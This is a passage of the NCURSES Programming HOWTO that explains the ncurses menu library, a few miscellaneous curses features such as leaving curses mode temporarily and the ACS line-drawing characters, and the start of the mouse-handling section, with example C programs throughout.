  7. Free the memory allocated to menu by free_menu()

  8. Free the memory allocated to the items with free_item()

  9. End curses

Let's see a program which prints a simple menu and updates the current selection with up, down arrows.

17.2. Compiling With the Menu Library

To use menu library functions, you have to include menu.h and to link the program with menu library the flag -lmenu should be added along with -lncurses in that order.

    #include <menu.h>
    .
    .
    .

    compile and link: gcc <program file> -lmenu -lncurses

Example 18. Menu Basics

/* File Path: menus/menu_simple.c */
#include <menu.h>

#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD     4

char *choices[] = {
                        "Choice 1",
                        "Choice 2",
                        "Choice 3",
                        "Choice 4",
                        "Exit",
                  };

int main()
{   ITEM **my_items;
    int c;
    MENU *my_menu;
    int n_choices, i;
    ITEM *cur_item;

    initscr();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    n_choices = ARRAY_SIZE(choices);
    my_items = (ITEM **)calloc(n_choices + 1, sizeof(ITEM *));

    for(i = 0; i < n_choices; ++i)
        my_items[i] = new_item(choices[i], choices[i]);
    my_items[n_choices] = (ITEM *)NULL;

    my_menu = new_menu((ITEM **)my_items);
    post_menu(my_menu);
    refresh();

    while((c = getch()) != KEY_F(1))
    {       switch(c)
            {    case KEY_DOWN:
                menu_driver(my_menu, REQ_DOWN_ITEM);
                break;
            case KEY_UP:
                menu_driver(my_menu, REQ_UP_ITEM);
                break;
        }
    }

    free_item(my_items[0]);
        free_item(my_items[1]);
    free_menu(my_menu);
    endwin();
}

This program demonstrates the basic concepts involved in creating a menu using menus library. First we create the items using new_item() and then attach them to the menu with new_menu() function. After posting the menu and refreshing the screen, the main processing loop starts. It reads user input and takes corresponding action. The function menu_driver() is the main work horse of the menu system. The second parameter to this function tells what's to be done with the menu. According to the parameter, menu_driver() does the corresponding task. The value can be either a menu navigational request, an ascii character, or a KEY_MOUSE special key associated with a mouse event.

The menu_driver accepts following navigational requests.

     REQ_LEFT_ITEM         Move left to an item.
     REQ_RIGHT_ITEM      Move right to an item.
     REQ_UP_ITEM         Move up to an item.
     REQ_DOWN_ITEM       Move down to an item.
     REQ_SCR_ULINE       Scroll up a line.
     REQ_SCR_DLINE          Scroll down a line.
     REQ_SCR_DPAGE          Scroll down a page.
     REQ_SCR_UPAGE         Scroll up a page.
     REQ_FIRST_ITEM     Move to the first item.
     REQ_LAST_ITEM         Move to the last item.
     REQ_NEXT_ITEM         Move to the next item.
     REQ_PREV_ITEM         Move to the previous item.
     REQ_TOGGLE_ITEM     Select/deselect an item.
     REQ_CLEAR_PATTERN     Clear the menu pattern buffer.
     REQ_BACK_PATTERN      Delete the previous character from the pattern buffer.
     REQ_NEXT_MATCH     Move to the next item matching the pattern match.
     REQ_PREV_MATCH     Move to the previous item matching the pattern match.

Don't get overwhelmed by the number of options. We will see them slowly one after another. The options of interest in this example are REQ_UP_ITEM and REQ_DOWN_ITEM. These two options when passed to menu_driver, menu driver updates the current item to one item up or down respectively.

17.3. Menu Driver: The work horse of the menu system

As you have seen in the above example, menu_driver plays an important role in updating the menu. It is very important to understand various options it takes and what they do. As explained above, the second parameter to menu_driver() can be either a navigational request, a printable character or a KEY_MOUSE key. Let's dissect the different navigational requests.

  • REQ_LEFT_ITEM and REQ_RIGHT_ITEM

    A Menu can be displayed with multiple columns for more than one item. This can be done by using the menu_format()function. When a multi columnar menu is displayed these requests cause the menu driver to move the current selection to left or right.

  • REQ_UP_ITEM and REQ_DOWN_ITEM

    These two options you have seen in the above example. These options when given, makes the menu_driver to move the current selection to an item up or down.

  • REQ_SCR_* options

    The four options REQ_SCR_ULINE, REQ_SCR_DLINE, REQ_SCR_DPAGE, REQ_SCR_UPAGE are related to scrolling. If all the items in the menu cannot be displayed in the menu sub window, then the menu is scrollable. These requests can be given to the menu_driver to do the scrolling either one line up, down or one page down or up respectively.

  • REQ_FIRST_ITEM, REQ_LAST_ITEM, REQ_NEXT_ITEM and REQ_PREV_ITEM

    These requests are self explanatory.

  • REQ_TOGGLE_ITEM

    This request when given, toggles the present selection. This option is to be used only in a multi valued menu. So to use this request the option O_ONEVALUE must be off. This option can be made off or on with set_menu_opts().

  • Pattern Requests

    Every menu has an associated pattern buffer, which is used to find the nearest match to the ascii characters entered by the user. Whenever ascii characters are given to menu_driver, it puts in to the pattern buffer. It also tries to find the nearest match to the pattern in the items list and moves current selection to that item. The request REQ_CLEAR_PATTERN clears the pattern buffer. The request REQ_BACK_PATTERN deletes the previous character in the pattern buffer. In case the pattern matches more than one item then the matched items can be cycled through REQ_NEXT_MATCH and REQ_PREV_MATCH which move the current selection to the next and previous matches respectively.

  • Mouse Requests

    In case of KEY_MOUSE requests, according to the mouse position an action is taken accordingly. The action to be taken is explained in the man page as,

           If  the  second argument is the KEY_MOUSE special key, the
       associated mouse event is translated into one of the above
       pre-defined  requests.   Currently only clicks in the user
       window (e.g. inside the menu display area or  the  decora
       tion  window)  are handled. If you click above the display
       region of the menu, a REQ_SCR_ULINE is generated,  if  you
       doubleclick  a  REQ_SCR_UPAGE  is  generated  and  if  you
       tripleclick a REQ_FIRST_ITEM is generated.  If  you  click
       below  the  display region of the menu, a REQ_SCR_DLINE is
       generated, if you doubleclick a REQ_SCR_DPAGE is generated
       and  if  you  tripleclick a REQ_LAST_ITEM is generated. If
       you click at an item inside the display area of the  menu,
       the menu cursor is positioned to that item.

Each of the above requests will be explained in the following lines with several examples whenever appropriate.

17.4. Menu Windows

Every menu created is associated with a window and a sub window. The menu window displays any title or border associated with the menu. The menu sub window displays the menu items currently available for selection. But we didn't specify any window or sub window in the simple example. When a window is not specified, stdscr is taken as the main window, and then menu system calculates the sub window size required for the display of items. Then items are displayed in the calculated sub window. So let's play with these windows and display a menu with a border and a title.

Example 19. Menu Windows Usage example

/* File Path: menus/menu_win.c */
#include <menu.h>

#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD     4

char *choices[] = {
                        "Choice 1",
                        "Choice 2",
                        "Choice 3",
                        "Choice 4",
                        "Exit",
                        (char *)NULL,
                  };
void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color);

int main()
{   ITEM **my_items;
    int c;
    MENU *my_menu;
    WINDOW *my_menu_win;
    int n_choices, i;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);
    init_pair(1, COLOR_RED, COLOR_BLACK);

    /* Create items */
    n_choices = ARRAY_SIZE(choices);
    my_items = (ITEM **)calloc(n_choices, sizeof(ITEM *));
    for(i = 0; i < n_choices; ++i)
        my_items[i] = new_item(choices[i], choices[i]);

    /* Crate menu */
    my_menu = new_menu((ITEM **)my_items);

    /* Create the window to be associated with the menu */
    my_menu_win = newwin(10, 40, 4, 4);
    keypad(my_menu_win, TRUE);

    /* Set main window and sub window */
    set_menu_win(my_menu, my_menu_win);
    set_menu_sub(my_menu, derwin(my_menu_win, 6, 38, 3, 1));

    /* Set menu mark to the string " * " */
    set_menu_mark(my_menu, " * ");

    /* Print a border around the main window and print a title */
    box(my_menu_win, 0, 0);
    print_in_middle(my_menu_win, 1, 0, 40, "My Menu", COLOR_PAIR(1));
    mvwaddch(my_menu_win, 2, 0, ACS_LTEE);
    mvwhline(my_menu_win, 2, 1, ACS_HLINE, 38);
    mvwaddch(my_menu_win, 2, 39, ACS_RTEE);

    /* Post the menu */
    post_menu(my_menu);
    wrefresh(my_menu_win);

    while((c = wgetch(my_menu_win)) != KEY_F(1))
    {   switch(c)
        {   case KEY_DOWN:
                menu_driver(my_menu, REQ_DOWN_ITEM);
                break;
            case KEY_UP:
                menu_driver(my_menu, REQ_UP_ITEM);
                break;
        }
        wrefresh(my_menu_win);
    }

    /* Unpost and free all the memory taken up */
    unpost_menu(my_menu);
    free_menu(my_menu);
    for(i = 0; i < n_choices; ++i)
        free_item(my_items[i]);
    endwin();
}

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color)
{    int length, x, y;
    float temp;

    if(win == NULL)
        win = stdscr;
    getyx(win, y, x);
    if(startx != 0)
        x = startx;
    if(starty != 0)
        y = starty;
    if(width == 0)
        width = 80;

    length = strlen(string);
    temp = (width - length)/ 2;
    x = startx + (int)temp;
    wattron(win, color);
    mvwprintw(win, y, x, "%s", string);
    wattroff(win, color);
    refresh();
}

This example creates a menu with a title, border, a fancy line separating title and the items. As you can see, in order to attach a window to a menu the function set_menu_win() has to be used. Then we attach the sub window also. This displays the items in the sub window. You can also set the mark string which gets displayed to the left of the selected item with set_menu_mark().

17.5. Scrolling Menus

If the sub window given for a window is not big enough to show all the items, then the menu will be scrollable. When you are on the last item in the present list, if you send REQ_DOWN_ITEM, it gets translated into REQ_SCR_DLINE and the menu scrolls by one item. You can manually give REQ_SCR_ operations to do scrolling. Let's see how it can be done.

Example 20. Scrolling Menus example

/* File Path: menus/menu_scroll.c */
#include <menu.h>

#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD     4

char *choices[] = {
            "Choice 1",
            "Choice 2",
            "Choice 3",
            "Choice 4",
            "Choice 5",
            "Choice 6",
            "Choice 7",
            "Choice 8",
            "Choice 9",
            "Choice 10",
            "Exit",
            (char *)NULL,
};
void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color);

int main()
{   ITEM **my_items;
    int c;
    MENU *my_menu;
    WINDOW *my_menu_win;
    int n_choices, i;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);
    init_pair(1, COLOR_RED, COLOR_BLACK);
    init_pair(2, COLOR_CYAN, COLOR_BLACK);

    /* Create items */
    n_choices = ARRAY_SIZE(choices);
    my_items = (ITEM **)calloc(n_choices, sizeof(ITEM *));
    for(i = 0; i < n_choices; ++i)
        my_items[i] = new_item(choices[i], choices[i]);

    /* Crate menu */
    my_menu = new_menu((ITEM **)my_items);

    /* Create the window to be associated with the menu */
    my_menu_win = newwin(10, 40, 4, 4);
    keypad(my_menu_win, TRUE);

    /* Set main window and sub window */
    set_menu_win(my_menu, my_menu_win);
    set_menu_sub(my_menu, derwin(my_menu_win, 6, 38, 3, 1));
    set_menu_format(my_menu, 5, 1);

    /* Set menu mark to the string " * " */
    set_menu_mark(my_menu, " * ");

    /* Print a border around the main window and print a title */
    box(my_menu_win, 0, 0);
    print_in_middle(my_menu_win, 1, 0, 40, "My Menu", COLOR_PAIR(1));
    mvwaddch(my_menu_win, 2, 0, ACS_LTEE);
    mvwhline(my_menu_win, 2, 1, ACS_HLINE, 38);
    mvwaddch(my_menu_win, 2, 39, ACS_RTEE);

    /* Post the menu */
    post_menu(my_menu);
    wrefresh(my_menu_win);

    attron(COLOR_PAIR(2));
    mvprintw(LINES - 2, 0, "Use PageUp and PageDown to scroll up or down a page of items");
    mvprintw(LINES - 1, 0, "Arrow Keys to navigate (F1 to Exit)");
    attroff(COLOR_PAIR(2));
    refresh();

    while((c = wgetch(my_menu_win)) != KEY_F(1))
    {   switch(c)
        {   case KEY_DOWN:
                menu_driver(my_menu, REQ_DOWN_ITEM);
                break;
            case KEY_UP:
                menu_driver(my_menu, REQ_UP_ITEM);
                break;
            case KEY_NPAGE:    /* Page Down */
                menu_driver(my_menu, REQ_SCR_DPAGE);
                break;
            case KEY_PPAGE:    /* Page Up  */
                menu_driver(my_menu, REQ_SCR_UPAGE);
                break;
        }
        wrefresh(my_menu_win);
    }

    /* Unpost and free all the memory taken up */
    unpost_menu(my_menu);
    free_menu(my_menu);
    for(i = 0; i < n_choices; ++i)
        free_item(my_items[i]);
    endwin();
}

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color)
{   int length, x, y;
    float temp;

    if(win == NULL)
        win = stdscr;
    getyx(win, y, x);
    if(startx != 0)
        x = startx;
    if(starty != 0)
        y = starty;
    if(width == 0)
        width = 80;

    length = strlen(string);
    temp = (width - length)/ 2;
    x = startx + (int)temp;
    wattron(win, color);
    mvwprintw(win, y, x, "%s", string);
    wattroff(win, color);
    refresh();
}

This program is self-explanatory. In this example the number of choices has been increased to ten, which is larger than our sub window size which can hold 6 items. This message has to be explicitly conveyed to the menu system with the function set_menu_format(). In here we specify the number of rows and columns we want to be displayed for a single page. We can specify any number of items to be shown, in the rows variables, if it is less than the height of the sub window. If the key pressed by the user is a PAGE UP or PAGE DOWN, the menu is scrolled a page due to the requests (REQ_SCR_DPAGE and REQ_SCR_UPAGE) given to menu_driver().

17.6. Multi Columnar Menus

In the above example you have seen how to use the function set_menu_format(). I didn't mention what the cols variable (third parameter) does. Well, If your sub window is wide enough, you can opt to display more than one item per row. This can be specified in the cols variable. To make things simpler, the following example doesn't show descriptions for the items.

Example 21. Milt Columnar Menus Example

/* File Path: menus/menu_multi_column.c */
#include <menu.h>

#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD     4

char *choices[] = {
            "Choice 1", "Choice 2", "Choice 3", "Choice 4", "Choice 5",
            "Choice 6", "Choice 7", "Choice 8", "Choice 9", "Choice 10",
            "Choice 11", "Choice 12", "Choice 13", "Choice 14", "Choice 15",
            "Choice 16", "Choice 17", "Choice 18", "Choice 19", "Choice 20",
            "Exit", (char *)NULL,
};

int main()
{   ITEM **my_items;
    int c;
    MENU *my_menu;
    WINDOW *my_menu_win;
    int n_choices, i;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);
    init_pair(1, COLOR_RED, COLOR_BLACK);
    init_pair(2, COLOR_CYAN, COLOR_BLACK);

    /* Create items */
    n_choices = ARRAY_SIZE(choices);
    my_items = (ITEM **)calloc(n_choices, sizeof(ITEM *));
    for(i = 0; i < n_choices; ++i)
        my_items[i] = new_item(choices[i], choices[i]);

    /* Crate menu */
    my_menu = new_menu((ITEM **)my_items);

    /* Set menu option not to show the description */
    menu_opts_off(my_menu, O_SHOWDESC);

    /* Create the window to be associated with the menu */
    my_menu_win = newwin(10, 70, 4, 4);
    keypad(my_menu_win, TRUE);

    /* Set main window and sub window */
    set_menu_win(my_menu, my_menu_win);
    set_menu_sub(my_menu, derwin(my_menu_win, 6, 68, 3, 1));
    set_menu_format(my_menu, 5, 3);
    set_menu_mark(my_menu, " * ");

    /* Print a border around the main window and print a title */
    box(my_menu_win, 0, 0);

    attron(COLOR_PAIR(2));
    mvprintw(LINES - 3, 0, "Use PageUp and PageDown to scroll");
    mvprintw(LINES - 2, 0, "Use Arrow Keys to navigate (F1 to Exit)");
    attroff(COLOR_PAIR(2));
    refresh();

    /* Post the menu */
    post_menu(my_menu);
    wrefresh(my_menu_win);

    while((c = wgetch(my_menu_win)) != KEY_F(1))
    {   switch(c)
        {   case KEY_DOWN:
                menu_driver(my_menu, REQ_DOWN_ITEM);
                break;
            case KEY_UP:
                menu_driver(my_menu, REQ_UP_ITEM);
                break;
            case KEY_LEFT:
                menu_driver(my_menu, REQ_LEFT_ITEM);
                break;
            case KEY_RIGHT:
                menu_driver(my_menu, REQ_RIGHT_ITEM);
                break;
            case KEY_NPAGE:
                menu_driver(my_menu, REQ_SCR_DPAGE);
                break;
            case KEY_PPAGE:
                menu_driver(my_menu, REQ_SCR_UPAGE);
                break;
        }
        wrefresh(my_menu_win);
    }

    /* Unpost and free all the memory taken up */
    unpost_menu(my_menu);
    free_menu(my_menu);
    for(i = 0; i < n_choices; ++i)
        free_item(my_items[i]);
    endwin();
}

Watch the function call to set_menu_format(). It specifies the number of columns to be 3, thus displaying 3 items per row. We have also switched off the showing descriptions with the function menu_opts_off(). There are couple of functions set_menu_opts(), menu_opts_on() and menu_opts() which can be used to manipulate menu options. The following menu options can be specified.

       O_ONEVALUE
            Only one item can be selected for this menu.

       O_SHOWDESC
            Display  the  item  descriptions  when  the  menu  is
            posted.

       O_ROWMAJOR
            Display the menu in row-major order.

       O_IGNORECASE
            Ignore the case when pattern-matching.

       O_SHOWMATCH
            Move the cursor to within the item  name  while  pat
            tern-matching.

       O_NONCYCLIC
            Don't   wrap   around  next-item  and  previous-item,
            requests to the other end of the menu.

All options are on by default. You can switch specific attributes on or off with menu_opts_on() and menu_opts_off() functions. You can also use set_menu_opts() to directly specify the options. The argument to this function should be a OR ed value of some of those above constants. The function menu_opts() can be used to find out a menu's present options.

17.7. Multi Valued Menus

You might be wondering what if you switch off the option O_ONEVALUE. Then the menu becomes multi-valued. That means you can select more than one item. This brings us to the request REQ_TOGGLE_ITEM. Let's see it in action.

Example 22. Multi Valued Menus example

/* File Path: menus/menu_toggle.c */
#include <menu.h>

#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD     4

char *choices[] = {
            "Choice 1",
            "Choice 2",
            "Choice 3",
            "Choice 4",
            "Choice 5",
            "Choice 6",
            "Choice 7",
            "Exit",
};

int main()
{   ITEM **my_items;
    int c;
    MENU *my_menu;
    int n_choices, i;
    ITEM *cur_item;

    /* Initialize curses */
    initscr();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize items */
    n_choices = ARRAY_SIZE(choices);
    my_items = (ITEM **)calloc(n_choices + 1, sizeof(ITEM *));
    for(i = 0; i < n_choices; ++i)
        my_items[i] = new_item(choices[i], choices[i]);
    my_items[n_choices] = (ITEM *)NULL;
    my_menu = new_menu((ITEM **)my_items);

    /* Make the menu multi valued */
    menu_opts_off(my_menu, O_ONEVALUE);

    mvprintw(LINES - 3, 0, "Use <SPACE> to select or un select an item.");
    mvprintw(LINES - 2, 0, "<ENTER> to see presently selected items(F1 to Exit)");
    post_menu(my_menu);
    refresh();

    while((c = getch()) != KEY_F(1))
    {   switch(c)
        {   case KEY_DOWN:
                menu_driver(my_menu, REQ_DOWN_ITEM);
                break;
            case KEY_UP:
                menu_driver(my_menu, REQ_UP_ITEM);
                break;
            case ' ':
                menu_driver(my_menu, REQ_TOGGLE_ITEM);
                break;
            case 10:    /* Enter */
            {   char temp[200];
                ITEM **items;

                items = menu_items(my_menu);
                temp[0] = '\0';
                for(i = 0; i < item_count(my_menu); ++i)
                    if(item_value(items[i]) == TRUE)
                    {    strcat(temp, item_name(items[i]));
                        strcat(temp, " ");
                    }
                move(20, 0);
                clrtoeol();
                mvprintw(20, 0, temp);
                refresh();
            }
            break;
        }
    }
    unpost_menu(my_menu);
    for(i = 0; i < n_choices; ++i)
        free_item(my_items[i]);
    free_menu(my_menu);
    endwin();
}

Whew, A lot of new functions. Let's take them one after another. Firstly, the REQ_TOGGLE_ITEM. In a multi-valued menu, the user should be allowed to select or un select more than one item. The request REQ_TOGGLE_ITEM toggles the present selection. In this case when space is pressed REQ_TOGGLE_ITEM request is sent to menu_driver to achieve the result.

Now when the user presses <ENTER> we show the items he presently selected. First we find out the items associated with the menu using the function menu_items(). Then we loop through the items to find out if the item is selected or not. The function item_value() returns TRUE if an item is selected. The function item_count() returns the number of items in the menu. The item name can be found with item_name(). You can also find the description associated with an item using item_description().

17.8. Menu Options

Well, by this time you must be itching for some difference in your menu, with lots of functionality. I know. You want Colors !!!. You want to create nice menus similar to those text mode dos games. The functions set_menu_fore() and set_menu_back() can be used to change the attribute of the selected item and unselected item. The names are misleading. They don't change menu's foreground or background which would have been useless.

The function set_menu_grey() can be used to set the display attribute for the non-selectable items in the menu. This brings us to the interesting option for an item the one and only O_SELECTABLE. We can turn it off by the function item_opts_off() and after that that item is not selectable. It's like a grayed item in those fancy windows menus. Let's put these concepts in practice with this example

Example 23. Menu Options example

/* File Path: menus/menu_attrib.c */
#include <menu.h>

#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD     4

char *choices[] = {
            "Choice 1",
            "Choice 2",
            "Choice 3",
            "Choice 4",
            "Choice 5",
            "Choice 6",
            "Choice 7",
            "Exit",
};

int main()
{   ITEM **my_items;
    int c;
    MENU *my_menu;
    int n_choices, i;
    ITEM *cur_item;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);
    init_pair(1, COLOR_RED, COLOR_BLACK);
    init_pair(2, COLOR_GREEN, COLOR_BLACK);
    init_pair(3, COLOR_MAGENTA, COLOR_BLACK);

    /* Initialize items */
    n_choices = ARRAY_SIZE(choices);
    my_items = (ITEM **)calloc(n_choices + 1, sizeof(ITEM *));
    for(i = 0; i < n_choices; ++i)
        my_items[i] = new_item(choices[i], choices[i]);
    my_items[n_choices] = (ITEM *)NULL;
    item_opts_off(my_items[3], O_SELECTABLE);
    item_opts_off(my_items[6], O_SELECTABLE);

    /* Create menu */
    my_menu = new_menu((ITEM **)my_items);

    /* Set fore ground and back ground of the menu */
    set_menu_fore(my_menu, COLOR_PAIR(1) | A_REVERSE);
    set_menu_back(my_menu, COLOR_PAIR(2));
    set_menu_grey(my_menu, COLOR_PAIR(3));

    /* Post the menu */
    mvprintw(LINES - 3, 0, "Press <ENTER> to see the option selected");
    mvprintw(LINES - 2, 0, "Up and Down arrow keys to navigate (F1 to Exit)");
    post_menu(my_menu);
    refresh();

    while((c = getch()) != KEY_F(1))
    {   switch(c)
        {   case KEY_DOWN:
                menu_driver(my_menu, REQ_DOWN_ITEM);
                break;
            case KEY_UP:
                menu_driver(my_menu, REQ_UP_ITEM);
                break;
            case 10: /* Enter */
                move(20, 0);
                clrtoeol();
                mvprintw(20, 0, "Item selected is : %s",
                        item_name(current_item(my_menu)));
                pos_menu_cursor(my_menu);
                break;
        }
    }
    unpost_menu(my_menu);
    for(i = 0; i < n_choices; ++i)
        free_item(my_items[i]);
    free_menu(my_menu);
    endwin();
}

17.9. The useful User Pointer

We can associate a user pointer with each item in the menu. It works the same way as user pointer in panels. It's not touched by menu system. You can store any thing you like in that. I usually use it to store the function to be executed when the menu option is chosen (It's selected and may be the user pressed <ENTER>);

Example 24. Menu User Pointer Usage

/* File Path: menus/menu_userptr.c */
#include <menu.h>

#define ARRAY_SIZE(a) (sizeof(a) / sizeof(a[0]))
#define CTRLD     4

char *choices[] = {
            "Choice 1",
            "Choice 2",
            "Choice 3",
            "Choice 4",
            "Choice 5",
            "Choice 6",
            "Choice 7",
            "Exit",
};
void func(char *name);

int main()
{   ITEM **my_items;
    int c;
    MENU *my_menu;
    int n_choices, i;
    ITEM *cur_item;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);
    init_pair(1, COLOR_RED, COLOR_BLACK);
    init_pair(2, COLOR_GREEN, COLOR_BLACK);
    init_pair(3, COLOR_MAGENTA, COLOR_BLACK);

    /* Initialize items */
    n_choices = ARRAY_SIZE(choices);
    my_items = (ITEM **)calloc(n_choices + 1, sizeof(ITEM *));
    for(i = 0; i < n_choices; ++i)
    {   my_items[i] = new_item(choices[i], choices[i]);
        /* Set the user pointer */
        set_item_userptr(my_items[i], func);
    }
    my_items[n_choices] = (ITEM *)NULL;

    /* Create menu */
    my_menu = new_menu((ITEM **)my_items);

    /* Post the menu */
    mvprintw(LINES - 3, 0, "Press <ENTER> to see the option selected");
    mvprintw(LINES - 2, 0, "Up and Down arrow keys to navigate (F1 to Exit)");
    post_menu(my_menu);
    refresh();

    while((c = getch()) != KEY_F(1))
    {   switch(c)
        {   case KEY_DOWN:
                menu_driver(my_menu, REQ_DOWN_ITEM);
                break;
            case KEY_UP:
                menu_driver(my_menu, REQ_UP_ITEM);
                break;
            case 10: /* Enter */
            {    ITEM *cur;
                void (*p)(char *);

                cur = current_item(my_menu);
                p = item_userptr(cur);
                p((char *)item_name(cur));
                pos_menu_cursor(my_menu);
                break;
            }
            break;
        }
    }
    unpost_menu(my_menu);
    for(i = 0; i < n_choices; ++i)
        free_item(my_items[i]);
    free_menu(my_menu);
    endwin();
}

void func(char *name)
{   move(20, 0);
    clrtoeol();
    mvprintw(20, 0, "Item selected is : %s", name);
}

Prev | Home | Next
Panel Library |  | Forms Library


Miscellaneous features

NCURSES Programming HOWTO
Prev Next

14. Miscellaneous features

Now you know enough features to write a good curses program, with all bells and whistles. There are some miscellaneous functions which are useful in various cases. Let's go headlong into some of those.

14.1. curs_set()

This function can be used to make the cursor invisible. The parameter to this function should be

    0 : invisible      or
    1 : normal    or
    2 : very visible.

14.2. Temporarily Leaving Curses mode

Some times you may want to get back to cooked mode (normal line buffering mode) temporarily. In such a case you will first need to save the tty modes with a call to def_prog_mode() and then call endwin() to end the curses mode. This will leave you in the original tty mode. To get back to curses once you are done, call reset_prog_mode() . This function returns the tty to the state stored by def_prog_mode(). Then do refresh(), and you are back to the curses mode. Here is an example showing the sequence of things to be done.

Example 12. Temporarily Leaving Curses Mode

/* File Path: basics/temp_leave.c */
#include <ncurses.h>

int main()
{
    initscr();                      /* Start curses mode */
    printw("Hello World !!!\n");    /* Print Hello World */
    refresh();                      /* Print it on to the real screen */
    def_prog_mode();                /* Save the tty modes          */
    endwin();                       /* End curses mode temporarily      */
    system("/bin/sh");              /* Do whatever you like in cooked mode */
    reset_prog_mode();              /* Return to the previous tty mode*/
                                    /* stored by def_prog_mode()       */
    refresh();                      /* Do refresh() to restore the       */
                                    /* Screen contents          */
    printw("Another String\n");     /* Back to curses use the full    */
    refresh();                      /* capabilities of curses      */
    endwin();                       /* End curses mode          */

    return 0;
}

14.3. ACS_ variables

If you have ever programmed in DOS, you know about those nifty characters in extended character set. They are printable only on some terminals. NCURSES functions like box() use these characters. All these variables start with ACS meaning alternative character set. You might have noticed me using these characters in some of the programs above. Here's an example showing all the characters.

Example 13. ACS Variables Example

/* File Path: basics/acs_vars.c */
#include <ncurses.h>

int main()
{
        initscr();

        printw("Upper left corner           "); addch(ACS_ULCORNER); printw("\n");
        printw("Lower left corner           "); addch(ACS_LLCORNER); printw("\n");
        printw("Lower right corner          "); addch(ACS_LRCORNER); printw("\n");
        printw("Tee pointing right          "); addch(ACS_LTEE); printw("\n");
        printw("Tee pointing left           "); addch(ACS_RTEE); printw("\n");
        printw("Tee pointing up             "); addch(ACS_BTEE); printw("\n");
        printw("Tee pointing down           "); addch(ACS_TTEE); printw("\n");
        printw("Horizontal line             "); addch(ACS_HLINE); printw("\n");
        printw("Vertical line               "); addch(ACS_VLINE); printw("\n");
        printw("Large Plus or cross over    "); addch(ACS_PLUS); printw("\n");
        printw("Scan Line 1                 "); addch(ACS_S1); printw("\n");
        printw("Scan Line 3                 "); addch(ACS_S3); printw("\n");
        printw("Scan Line 7                 "); addch(ACS_S7); printw("\n");
        printw("Scan Line 9                 "); addch(ACS_S9); printw("\n");
        printw("Diamond                     "); addch(ACS_DIAMOND); printw("\n");
        printw("Checker board (stipple)     "); addch(ACS_CKBOARD); printw("\n");
        printw("Degree Symbol               "); addch(ACS_DEGREE); printw("\n");
        printw("Plus/Minus Symbol           "); addch(ACS_PLMINUS); printw("\n");
        printw("Bullet                      "); addch(ACS_BULLET); printw("\n");
        printw("Arrow Pointing Left         "); addch(ACS_LARROW); printw("\n");
        printw("Arrow Pointing Right        "); addch(ACS_RARROW); printw("\n");
        printw("Arrow Pointing Down         "); addch(ACS_DARROW); printw("\n");
        printw("Arrow Pointing Up           "); addch(ACS_UARROW); printw("\n");
        printw("Board of squares            "); addch(ACS_BOARD); printw("\n");
        printw("Lantern Symbol              "); addch(ACS_LANTERN); printw("\n");
        printw("Solid Square Block          "); addch(ACS_BLOCK); printw("\n");
        printw("Less/Equal sign             "); addch(ACS_LEQUAL); printw("\n");
        printw("Greater/Equal sign          "); addch(ACS_GEQUAL); printw("\n");
        printw("Pi                          "); addch(ACS_PI); printw("\n");
        printw("Not equal                   "); addch(ACS_NEQUAL); printw("\n");
        printw("UK pound sign               "); addch(ACS_STERLING); printw("\n");

        refresh();
        getch();
        endwin();

    return 0;
}

Prev | Home | Next
Screen Manipulation |  | Other libraries


Interfacing with the mouse

NCURSES Programming HOWTO
Prev Next

12. Interfacing with the mouse

Now that you have seen how to get keys, lets do the same thing from mouse. Usually each UI allows the user to interact with both keyboard and mouse.

12.1. The Basics

Before you do any thing else, the events you want to receive have to be enabled with mousemask().

    mousemask(  mmask_t newmask,    /* The events you want to listen to */
                mmask_t *oldmask)    /* The old events mask                */

The first parameter to above function is a bit mask of events you would like to listen. By default, all the events are turned off. The bit mask ALL_MOUSE_EVENTS can be used to get all the events.

The following are all the event masks:

    Name            Description
       ---------------------------------------------------------------------
       BUTTON1_PRESSED          mouse button 1 down
       BUTTON1_RELEASED         mouse button 1 up
       BUTTON1_CLICKED          mouse button 1 clicked
       BUTTON1_DOUBLE_CLICKED   mouse button 1 double clicked
       BUTTON1_TRIPLE_CLICKED   mouse button 1 triple clicked
       BUTTON2_PRESSED          mouse button 2 down
       BUTTON2_RELEASED         mouse button 2 up
       BUTTON2_CLICKED          mouse button 2 clicked
       BUTTON2_DOUBLE_CLICKED   mouse button 2 double clicked
       BUTTON2_TRIPLE_CLICKED   mouse button 2 triple clicked
       BUTTON3_PRESSED          mouse button 3 down
       BUTTON3_RELEASED         mouse button 3 up
       BUTTON3_CLICKED          mouse button 3 clicked
       BUTTON3_DOUBLE_CLICKED   mouse button 3 double clicked
       BUTTON3_TRIPLE_CLICKED   mouse button 3 triple clicked
       BUTTON4_PRESSED          mouse button 4 down
       BUTTON4_RELEASED         mouse button 4 up
       BUTTON4_CLICKED          mouse button 4 clicked
       BUTTON4_DOUBLE_CLICKED   mouse button 4 double clicked
       BUTTON4_TRIPLE_CLICKED   mouse button 4 triple clicked
       BUTTON_SHIFT             shift was down during button state change
       BUTTON_CTRL              control was down during button state change
       BUTTON_ALT               alt was down during button state change
       ALL_MOUSE_EVENTS         report all button state changes
       REPORT_MOUSE_POSITION    report mouse movement

12.2. Getting the events

Once a class of mouse events have been enabled, getch() class of functions return KEY_MOUSE every time some mouse event happens. Then the mouse event can be retrieved with getmouse().

The code approximately looks like this:

    MEVENT event;

    ch = getch();
    if(ch == KEY_MOUSE)
        if(getmouse(&event) == OK)
